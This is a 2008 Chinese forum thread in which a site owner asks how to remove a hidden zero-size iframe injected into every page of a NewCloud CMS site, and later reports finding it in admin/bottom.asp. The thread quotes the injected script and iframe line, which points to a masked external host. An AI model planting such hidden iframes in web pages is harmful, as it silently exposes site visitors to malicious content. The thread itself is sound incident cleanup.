[求助]我的新云cms网站被挂马,怎么清除?
[求助]网站被挂马,怎么清除?我今天忽然发现在网站底部出现一段js调用代码,应该是木马程序
代码:
</table>
</div>
</body>
</html>
<script language="JavaScript" type="text/javascript" src="/count.asp">[color=SandyBrown]</script><iframe src="http://******.cn/page/add_5454545.htm?5918-033" width="0" height="0"></iframe>[/color]
我想把他去掉,但是找不到源头在哪里
1.我的 标签内 网站底部代码
</table>
</div>
</body>
</html>
<script language="JavaScript" type="text/javascript" src="{$InstallDir}count.asp"></script>
没有问题
2.在模板里面,不管是首页,目录,内容
</table>
</div>
{$NewaspLabel_Bottom}
看着都正常
3.我在ftp count.asp 里面倒是看到那段代码,删除了,但是网站所有页面还是都有,不管用
4.这是css底部代码
a.treemenu:hover {
color: #FF6600;
text-decoration: underline;
}
/*-----------程序代码相关CSS--------------------------------------*/
.UBBContainer{border:1px solid #ccc;background:#f7f7f7;border-left:3px solid;}
.UBBTitle{font-weight:bold;padding:4px;background:#eee;border-bottom:1px dotted #ccc;}
.UBBContent{padding:6px;line-height:160%;}
.UBBContent textarea {width:550px;margin-bottom:2px;}
我也看不出来问题。
我已经将ftp密码,空间商网站密码全部更改了一下,但是网站底部代码无法消除。
我用的程序是 新云网站内容管理系统 v3.0.0.610 ,求助各位指点一下
[[i] 本帖最后由 心刀 于 2008-5-1 14:02 编辑 [/i]] 新云论坛无法发帖,总是提示错误,没办法在落伍发帖求助了 找个高手帮你吧 我也看不了 如果你生成了HTML 就在INDEX.HTML里找吧 终于解决了,在前后将近2小时的排查中,解决了。
还是对系统不熟悉造成的,他竟然在我admin文件夹下的bottom.asp里面添加了代码,不管在静态页面里面怎么删除,不管用,只能找到这段代码的源头才能删除 呵呵,现在马很多
页:
[1]
